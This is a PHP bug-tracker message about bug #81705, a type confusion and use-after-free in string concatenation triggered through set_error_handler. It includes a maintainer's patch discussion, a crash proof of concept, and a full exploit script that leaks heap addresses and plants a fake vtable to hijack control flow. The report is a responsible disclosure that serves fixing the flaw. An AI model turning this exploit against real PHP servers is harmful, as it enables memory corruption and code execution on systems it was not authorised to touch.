Sec Bug->Bug #81705 [Opn]: type confusion/UAF on set_error_handler with concat operation

From: Date: Wed, 05 Jan 2022 02:21:45 +0000
Subject: Sec Bug->Bug #81705 [Opn]: type confusion/UAF on set_error_handler with concat operation
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-238768@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=81705&edit=1 ID: 81705 Updated by: stas@php.net Reported by: yukik at ricsec dot co dot jp Summary: type confusion/UAF on set_error_handler with concat operation Status: Open -Type: Security +Type: Bug Package: Scripting Engine problem Operating System: Linux PHP Version: 8.0.14 Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2022-01-04 12:26:56] cmb@php.net Thanks for reporting! I can reproduce the segfault; it wouldn't happen with the given test script if the optimizer is enabled, but a slight variation can work around that. It seems to me the most straightforward fix is to check that op1 and op2 are actually IS_STRING before we assume they are, and bail out otherwise. Suggested patch for PHP-8.0: <https://gist.github.com/cmb69/05f18d11ac5cf4c70d3514f24787f087> Given that the exploit requires pathological code, I don't think that qualifies as security issue according to our classification[1]. I'll let that for others to decide. If it is a security issue, PHP-7.4 likely needs to be fixed as well. [1] <https://wiki.php.net/security> ------------------------------------------------------------------------ [2022-01-04 08:17:59] yukik at ricsec dot co dot jp Description: ------------ Hello, all. I reported this issue was reported on Nov 11, 2021 via e-mail, but we have no response still. So I'm reposting this issue here as we said in the last reply. Before writing a patch, we need to discuss how to fix this. So would you respond to us? Some of the solutions will spoil backward compatibility. The following is the same as the content of the first mail. ---- Hello, my name is Yuki Koike. I'm a security researcher working at a Japanese company. Several days ago, my colleague Hiroyuki Katsura(who is cc'ed) and I found a use-after-free bug in PHP. We've already confirmed that this bug exists even in php-8.1.0RC6(on the github repo), and also that this bug is exploitable if an attacker is allowed to manipulate variables freely to some extent. # PoC Here is a proof of concept for crash reproduction: ``` <?php $my_var = str_repeat("a", 1); set_error_handler( function() use(&$my_var) { echo("error\n"); $my_var = 0x123; } ); $my_var .= [0]; ?> ``` If you execute this snippet, it should cause SEGV at address 0x123. # Root Cause When PHP executes the line $my_var .= [0];, it calls concat_function defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_functiontries to convert them into strings with zval_get_string_func(https://github.com/php/php-src/blob/master/Zend/zend_operators.c#L1900). If the given value is an array, zval_get_string_func calls zend_error(https://github.com/php/php-src/blob/master/Zend/zend_operators.c#L965). Because we can register an original error handler that is called by zend_error by using set_error_handler, we can run almost arbitrary codes DURING concat_function is running. In the above PoC, for example, $my_var will be overwritten with integer 0x123 when zend_error is triggered. concat_function, however, implicitly assumes the variables op1 and op2 are always strings, and thus type confusion occurs as a result. # Exploitability With the exploit attached below, we confirmed that an attacker can leak memory addresses and can make the program jump to an arbitrary address. When we attached gdb to PHP, we saw the following output(address 0xdeadbeeffeedface is specified by us): ``` Program received signal SIGSEGV, Segmentation fault. 0x0000559ad8711091 in zend_objects_store_del () (gdb) disas $rip, +0x1 Dump of assembler code from 0x559ad8711091 to 0x559ad8711092: => 0x0000559ad8711091 <zend_objects_store_del+209>: callq *0x10(%rax) End of assembler dump. (gdb) x/xg $rax+0x10 0x7f589485d5a8: 0xdeadbeeffeedface ``` We tested the exploit with php8.0 installed from ppa:ondrej/php via apt, on a docker container of ubuntu:20.04. Because we wanted to report this issue as fast as possible, the exploit is "rough" in the sense that it heavily depends on the execution environment, such as the version of PHP binary and shared libraries. Therefore, unlike the above PoC, you may be unable to reproduce the above SEGV(let me know in that case). But, that doesn't mean this vulnerability is useless for reliable exploitation. If someone writes an exploit carefully by employing some techniques to stabilize exploits, such as heap spraying, the exploit would always succeed. Here is the exploit: ``` <?php /* # cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION=“Ubuntu 20.04.1 LTS” # apt show php8.0 Package: php8.0 Version: 8.0.12-1+ubuntu20.04.1+deb.sury.org+1 Priority: optional Section: php Maintainer: Debian PHP Maintainers <team+pkg-php@tracker.debian.org> Installed-Size: 65.5 kB Provides: php Depends: libapache2-mod-php8.0 | php8.0-fpm | php8.0-cgi, php8.0-common Download-Size: 29.3 kB APT-Manual-Installed: yes APT-Sources: http://ppa.launchpad.net/ondrej/php/ubuntu focal/main amd64 Packages Description: server-side, HTML-embedded scripting language (metapackage) # md5sum $(which php8.0) 7e0d9628ecbe29b36ce692278673fa76 /usr/bin/php8.0 */ // Just for attaching a debugger. // Removing these lines makes the exploit fail, // but it doesn't mean this exploit depends on fopen. // By considering the heap memory that had been allocated for the stream object and // adjusting heap memory, the exploit will succeed again. $f = fopen(‘php://stdin’, ‘r’); fgets($f); $my_var = [[1,2,3,4],[1,2,3,4]]; set_error_handler(function() use(&$my_var,&$buf){ $my_var=1; $buf=str_repeat(“xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16); }); $my_var[1] .= 1234; $obj_addr = 0; for ($i = 23; $i >= 16; $i--){ $obj_addr *= 256; $obj_addr += ord($buf[$i]); } $obj_addr -= 0x10348; printf(“obj addr = ‘%x’\n”, $obj_addr); $my_var2 = [[1,2,3,4],[1,2,3,4]]; set_error_handler(function() use(&$my_var2,&$buf2,&$obj_addr){ $my_var2=1; $buf2=str_repeat(“x”, 0x100); for ($i=0; $i < 8; $i++) { $buf2[0x10 + $i] = chr(($obj_addr >> ($i*8)) & 0xff); } $buf2[0x20] = chr(1); for ($i=1; $i < 4; $i++) { $buf2[0x20 + $i] = chr(0); } $buf2[0x24] = chr(6); }); $my_var2[1] .= 1234; $victim = function () {}; $lower = 0xfeedface; $upper = 0xdeadbeef; for ($j=0; $j<8; $j++) { for ($i=0; $i<4; $i++) { $buf2[0x40 + $j*8 + $i] = chr(($lower >> ($i*8)) & 0xff); } for ($i=0; $i<4; $i++) { $buf2[0x44 + $j*8 + $i] = chr(($upper >> ($i*8)) & 0xff); } } $fake_vtable_address = $obj_addr + 0x20; for ($i=0; $i<8; $i++) { $buf2[0x38 + $i] = chr(($fake_vtable_address >> ($i*8)) & 0xff); } ?> ``` # Proposal for revision Since we can execute almost arbitrary codes with set_error_handler, I think removing the call of zend_error and throwing a non-hookable error instead is the easiest fix. If that fix is not appropriate for some reason like backward compatibility, we should carefully think about how to fix it. To be honest, I'm still not sure what is the best way in that case. We need to discuss it. # Acknowledgement We found this issue with some fuzzers during our experiment for our academic paper. Since PHP has already provided how to build PHP with instrumentation and how to run fuzzers at oss-fuzz, the preparation went smoothly. We deeply appreciate your effort of preparing build scripts and harnesses. It would be great if you would assign a CVE number to this bug, so that we can refer to it in our paper. Sincerely, Yuki Test script: --------------- <?php $my_var = str_repeat("a", 1); set_error_handler( function() use(&$my_var) { echo("error\n"); $my_var = 0x123; } ); $my_var .= [0]; ?> Expected result: ---------------- No SEGV should happen. Actual result: -------------- You will see a crash with the message "SEGV on address 0x123". ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=81705&edit=1

« previous php.bugs (#238768) next »